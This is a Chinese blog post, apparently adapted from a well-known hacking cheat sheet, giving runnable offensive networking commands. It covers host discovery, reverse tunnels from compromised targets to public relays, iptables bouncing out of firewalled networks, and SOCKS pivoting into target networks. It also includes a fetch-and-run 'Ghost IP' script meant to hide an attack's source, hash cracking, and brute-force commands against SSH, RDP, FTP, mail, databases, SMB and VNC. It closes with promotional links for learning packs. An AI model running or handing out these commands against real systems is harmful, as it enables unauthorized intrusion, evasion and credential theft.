高级黑客技术网络技巧

749 篇文章 30 订阅
383 篇文章 12 订阅

黑客在进行网络设置时,会采用一些技巧来提高匿名性、安全性和效率。以下是一些基本的网络设置技巧。


3. 网络

3.1发现主机



  

  

  

  

  

  

  

#\# ARP disocer computers on the local network  
nmap -r -sn -PR 192.168.0.1/24  



  

  

  

  

  

  

  

\## ICMP discover computers on the local netowrk  
NET="10.11.0"  \# discover 10.11.0.1-10.11.0.254  
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1  


3.2 tcp转储



  

  

  

  

  

  

  

\## Monitor every new TCP connection  
tcpdump -np "tcp\[tcpflags\] == tcp-syn"\## Play a \*bing\*-noise for every new SSH connection  
tcpdump -nplq "tcp\[13\] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\\\a; done  
  
\## Ascii output (for all large packets. Change to >40 if no TCP options are used).  
tcpdump -npAq -s0 'tcp and (ip\[2:2\] > 60)'  


3.3隧道与转发



  

  

  

  

  

  

  

\## Connect to SSL (using socat)  
socat stdio openssl\-connect:smtp.gmail.com:465  
  
\## Connect to SSL (using openssl)  
openssl s\_client \-connect smtp.gmail.com:465  



  

  

  

  

  

  

  

\## Bridge TCP to SSL  
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465  


3.3.1 原始 TCP 反向端口

使用segfault.net[1](免费):



  

  

  

  

  

  

  

\# Request a random public TCP port:  
curl sf/port  
echo "Your public IP:PORT is $(cat /config/self/reverse\_ip):$(cat /config/self/reverse\_port)"  
nc -vnlp $(cat /config/self/reverse\_port)  

使用bore.pub[2](免费):



  

  

  

  

  

  

  

\# Forward a random public TCP port to localhost:31337  
bore local 31337 --to bore.pub  

使用serveo.net[3](免费):



  

  

  

  

  

  

  

\# Forward a random public TCP port to localhost:31337  
ssh -R 0:localhost:31337 serveo.net  

另请参阅remote.moe[4](免费)将原始 TCP 从目标转发到您的工作站或ngrok[5](付费订阅)以转发原始公共 TCP 端口。

其他免费服务仅限于转发 HTTPS(而非原始 TCP)。下面的一些技巧展示了如何通过 HTTPS 转发隧道原始 TCP(使用 Websocket)。


3.3.2 HTTPS 反向隧道

在服务器上,使用以下三种 HTTPS 隧道服务中的任意一种:



  

  

  

  

  

  

  

\### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:  
ssh -R80:0:8080 -o StrictHostKeyChecking=accept\-new nokey@localhost.run  
\### Or using remote.moe  
ssh -R80:0:8080 -o StrictHostKeyChecking=accept\-new nokey@remote.moe  
\### Or using cloudflared  
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64  
chmod 755 cloudflared  
cloudflared tunnel --url http://localhost:8080 --no\-autoupdate  

任一服务都会生成一个新的临时 HTTPS-URL 供您使用。

然后,在两端使用websocat[6]Gost通过 HTTPS URL 建立原始 TCP 隧道:[7]

A. 通过 HTTPS 的简单 STDIN/STDOUT 管道:



  

  

  

  

  

  

  

\### On the server convert WebSocket to raw TCP:  
websocat \-s 8080  



  

  

  

  

  

  

  

\### On the remote target forward stdin/stdout to WebSocket:  
websocat wss://<HTTPS-URL>

B. 通过 HTTPS 转发原始 TCP:



  

  

  

  

  

  

  

\### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:  
gost -L mws://:8080  

将端口 2222 转发到服务器的端口 22。



  

  

  

  

  

  

  

\### On the workstation:  
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'\### Test the connection (will connect to localhost:22 on the server)  
nc -vn 127.0.0.1 2222  

或者使用服务器作为 Socks-Proxy EXIT 节点(例如,通过服务器访问服务器网络内的任何主机甚至互联网(使用上面的 HTTPS 反向隧道):



  

  

  

  

  

  

  

\### On the workstation:  
gost -L :1080 -F 'mwss://<HTTPS-URL>:443'\### Test the Socks-proxy:  
curl -x socks5h://0 ipinfo.io  

更多信息:https://github.com/twelvesec/port-forwarding以及**通过 Cloudflare 到任何 TCP 服务[8]Awesome Tunneling 的[9]**隧道。


3.3.3 使用 iptables 弹跳流量

使用主机 192.168.0.100 作为跳转主机:将任何连接从任意位置转发到 192.168.0.100:53,然后再转发到 1.2.3.4:443。



  

  

  

  

  

  

  

FPORT\=53  
DSTIP\=1.2.3.4  
DPORT\=443  
echo 1 >/proc/sys/net/ipv4/ip\_forward  
  
iptables -t mangle -C PREROUTING -j CONNMARK --restore-mark || iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark  
iptables -t mangle -A PREROUTING -p tcp --dport ${FPORT:?} -m addrtype --dst-type LOCAL -j MARK --set-mark 1188  
  
iptables -t nat -I PREROUTING -p tcp -m mark --mark 1188 -j DNAT --to ${DSTIP:?}:${DPORT:?}  
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT  
  
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE  
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark  

我们使用这个技巧从防火墙网络深处到达 gsocket-relay-network(或 TOR)。



  

  

  

  

  

  

  

\# Deploy on a target that can only reach 192.168.0.100  
GS\_HOST=192.168.0.100 GS\_PORT=53 ./deploy.sh  



  

  

  

  

  

  

  

\# Access the target  
GS\_HOST=1.2.3.4: GS\_PORT=443 gs-netcat -i -s ...  


3.3.4 Ghsot IP/IP欺骗

在目标网络内的主机上很有用。该工具重新配置(无痕迹)SHELL:从此SHELL启动的任何程序(nmap、cme等)都将使用假IP。您的所有攻击都将源自不存在的主机。



  

  

  

  

  

  

  

source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)  

这也可以与以下组合使用:

  • Segfault 的 ROOT 服务器[10]

:将您的 ROOT 服务器连接到目标网络并使用 taget 网络内的 Ghost IP。

  • QEMU 隧道[11]

:如上所述,但安全性较差。


3.4通过 Socks Proxy 使用任何工具

使用 gsocket 创建从目标到工作站的隧道:

在目标网络上:



  

  

  

  

  

  

  

#\# Create a SOCKS proxy into the target's network.  
#\# Use gs-netcat but ssh -D would work as well.  
gs-netcat -l -S  

在您的工作站上:



  

  

  

  

  

  

  

#\# Create a gsocket tunnel into the target's network:  
gs-netcat -p 1080  

使用代理链:



  

  

  

  

  

  

  

\## Use ProxyChain to access any host on the target's network:  
echo -e "\[ProxyList\]\\nsocks5 127.0.0.1 1080" >pc.conf  
proxychains -f pc.conf -q curl ipinfo.io  
\## Scan the router at 192.168.1.1  
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1  
\## Start 10 nmaps in parallel:  
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}  

使用 GrafTCP:



  

  

  

  

  

  

  

\## Use graftcp to access any host on the target's network:  
(graftcp-local -select\_proxy\_mode only\_socks5 &)  
graftcp curl ipinfo.io  
graftcp ssh root@192.168.1.1  
graftcp nmap -n -Pn -sV -F --open 19.168.1.1  


3.5 查找您的公共 IP 地址



  

  

  

  

  

  

  

curl -s wtfismyip.com/json | jq  
curl ifconfig.me  
dig +short myip.opendns.com @resolver1.opendns.com  
host myip.opendns.com resolver1.opendns.com  

获取有关任何 IP 地址的地理位置信息:



  

  

  

  

  

  

  

curl https://ipinfo.io/8.8.8.8 | jq  
curl http://ip-api.com/8.8.8.8  
curl https://cli.fyi/8.8.8.8  

通过IP地址获取ASN信息:



  

  

  

  

  

  

  

asn() {  
  \[\[ -n $1 \]\] && { echo -e "begin\\nverbose\\n${1}\\nend"|netcat whois.cymru.com 43| tail -n +2; return; }  
  (echo -e 'begin\\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2  
}  
asn 1.1.1.1           \# Single IP Lookup  
cat IPS.txt | asn     \# Bulk Lookup  

检查 TOR 是否正常工作:



  

  

  

  

  

  

  

curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip  
\### Result should be {"IsTor":true...  


3.6检查世界各地的可达性

**https://ping.pe/**上的优秀人员可以让您 ping/traceroute/mtr/dig/port - 检查来自世界各地的主机、检查 TCP 端口、解析域名等等。

要检查您的(当前)主机连接互联网的情况,请使用OONI Probe[12]



  

  

  

  

  

  

  

ooniprobe run im  
ooniprobe run websites  
ooniprobe list  
ooniprobe list 1  


3.7检查/扫描 IP 上的开放端口

**Censys[13]Shodan[14]**端口查找服务:



  

  

  

  

  

  

  

curl https://internetdb.shodan.io/1.1.1.1  

快速(-F)漏洞扫描



  

  

  

  

  

  

  

\# Version gathering  
nmap \-sCV \-F \-Pn \--min\-rate 10000 scanme.nmap.org  
\# Vulns  
nmap \-A \-F \-Pn \--min\-rate 10000 \--script vulners.nse \--script\-timeout\=5s scanme.nmap.org  

使用bash:



  

  

  

  

  

  

  

timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED  


3.8破解密码哈希

  1. NTLM2password[15]

破解(查找)NTLM密码

  1. wpa-sec[16]

破解(查找)WPA PSK 密码

HashCat 是我们处理其他事情的首选工具:



  

  

  

  

  

  

  

hashcat my\-hash /usr/share/wordlists/rockyou.txt  

或者在 GPU 上使用10 天的 7-16 字符哈希掩码:[17]



  

  

  

  

  

  

  

curl -fsSL https://github.com/sean-t-smith/Extreme\_Breach\_Masks/raw/main/10%2010-days/10-days\_7-16.hcmask -o 10-days\_7-16.hcmask  
\# -d2 == Use GPU #2 only (device #2)  
\# -O  == Up to 50% faster but limits password length to <= 15  
\# -w1 == workload low (-w3 == high)  
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days\_7-16.hcmask -O -d2  

阅读常见问题解答[18]

请注意, 6 6 6哈希值很慢。即使是**1 分钟的 7-16 个字符的哈希掩码[19]**在 8xRTX4090 集群上也需要很多天才能完成。

在vast.ai[20]租用 GPU 集群并使用dizcza/docker-hashcat[21]了解更多[22])。

否则,请使用Crackstation[23]shuck.sh[24]ColabCat/cloud[25] / **Cloudtopolis[26]或在您自己的AWS[27]**实例上进行破解。

用户名和密码列表:

  • /usr/share/nmap/nselib/data

  • /usr/share/wordlists/seclists/Passwords

  • https://github.com/berzerk0/Probable-Wordlists

- >THC 最喜欢的<

  • https://github.com/danielmiessler/SecLists

  • https://wordlists.assetnote.io

  • https://weakpass.com

  • https://crackstation.net/

设置用户名/密码列表和目标主机。



  

  

  

  

  

  

  

ULIST="/usr/share/wordlists/brutespray/mysql/user"  
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"  
T="192.168.0.1"  

有用的Nmap参数:



  

  

  

  

  

  

  

\--script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly  

有用的Ncrack参数:



  

  

  

  

  

  

  

\-U "${ULIST}"  
\-P "${PLIST}"  

有用的Hydra参数:



  

  

  

  

  

  

  

\-t4      \# Limit to 4 tasks  
\-l root  \# Set username  
\-V       \# Show each login/password attempt  
\-s 31337 \# Set port  
\-S       \# Use SSL  
\-f       \# Exit after first valid login  



  

  

  

  

  

  

  

\## SSH  
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T"  
ncrack -P "${PLIST}" --user root "ssh://${T}"  
hydra -P "${PLIST}" -l root "ssh://$T"  



  

  

  

  

  

  

  

\## Remote Desktop Protocol / RDP  
ncrack -P "${PLIST}" --user root -p3389 "${T}"  
hydra -P "${PLIST}" -l root "rdp://$T"  



  

  

  

  

  

  

  

\## FTP  
hydra -P "${PLIST}" -l user "ftp://$T"  



  

  

  

  

  

  

  

\## IMAP (email)  
nmap -p 143,993 --script imap-brute "$T"  



  

  

  

  

  

  

  

\## POP3 (email)  
nmap -p110,995 --script pop3-brute "$T"  



  

  

  

  

  

  

  

\## MySQL  
nmap -p3306 --script mysql-brute "$T"  



  

  

  

  

  

  

  

\## PostgreSQL  
nmap -p5432 --script pgsql-brute "$T"  



  

  

  

  

  

  

  

\## SMB (windows)  
nmap --script smb-brute "$T"  



  

  

  

  

  

  

  

\## Telnet  
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"  



  

  

  

  

  

  

  

\## VNC  
nmap -p5900 --script vnc-brute "$T"  
ncrack -P "${PLIST}" --user root "vnc://$T"  
hydra -P "${PLIST}" "vnc://$T"  
medusa -P "${PLIST}" –u root –M vnc -h "$T"  



  

  

  

  

  

  

  

\## VNC (with metasploit)  
msfconsole  
use auxiliary/scanner/vnc/vnc\_login  
set rhosts 192.168.0.1  
set pass\_file /usr/share/wordlists/seclists/Passwords/500\-worst\-passwords.txt  
run  



  

  

  

  

  

  

  

\## HTML basic auth  
echo admin >user.txt                     \# Try only 1 username  
echo -e "blah\\naaddd\\nfoobar" >pass.txt  \# Add some passwords to try. 'aaddd' is the valid one.  
nmap -p80 --script http-brute --script-args \\  
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \\  
   pentesteracademylab.appspot.com  


欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。

网站:https://hackerchi.top

微信公众号:黑客驰

互联网信息流:https://hackerchi.top/Feeds.html


💡免责声明

本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。

本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉请大家关注我们的公众号"黑客驰",收藏我们的文章,转发给你的朋友们,让更多的人了解到这些有用的知识!网站是实时更新的,公众号每天只有1次机会,不想错过关键内容的话,推荐您访问官网[28],如果能给个免费的赞!或者打赏点咖啡钱更好!阿哈哈哈哈

参考资料

[1]

segfault.net: https://thc.org/segfault.net

[2]

bore.pub: https://github.com/ekzhang/bore

[3]

serveo.net: https://serveo.net/

[4]

remote.moe: https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/README.md#revese-shell-remote-moe

[5]

ngrok: https://ngrok.com/

[6]

websocat: https://github.com/vi/websocat

[7]

Gost通过 HTTPS URL 建立原始 TCP 隧道:: https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service

[8]

通过 Cloudflare 到任何 TCP 服务: https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service

[9]

Awesome Tunneling 的: https://github.com/anderspitman/awesome-tunneling

[10]

Segfault 的 ROOT 服务器: https://thc.org/segfault/wireguard

[11]

QEMU 隧道: https://securelist.com/network-tunneling-with-qemu/111803/

[12]

OONI Probe: https://ooni.org/support/ooni-probe-cli

[13]

Censys: https://search.censys.io/

[14]

Shodan: https://internetdb.shodan.io/

[15]

NTLM2password: https://ntlm.pw/

[16]

wpa-sec: https://wpa-sec.stanev.org/

[17]

10 天的 7-16 字符哈希掩码:: https://github.com/sean-t-smith/Extreme_Breach_Masks/

[18]

常见问题解答: https://hashcat.net/wiki/doku.php?id=frequently_asked_questions

[19]

1 分钟的 7-16 个字符的哈希掩码: https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/01%20instant_1-minute/1-minute_7-16.hcmask

[20]

在vast.ai: https://www.vast.ai/

[21]

dizcza/docker-hashcat: https://hub.docker.com/r/dizcza/docker-hashcat

[22]

了解更多: https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/

[23]

Crackstation: https://crackstation.net/

[24]

shuck.sh: https://shuck.sh/

[25]

ColabCat/cloud: https://github.com/someshkar/colabcat

[26]

Cloudtopolis: https://github.com/JoelGMSec/Cloudtopolis

[27]

AWS: https://akimbocore.com/article/hashcracking-with-aws/

[28]

官网: https://hackerchi.top/

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值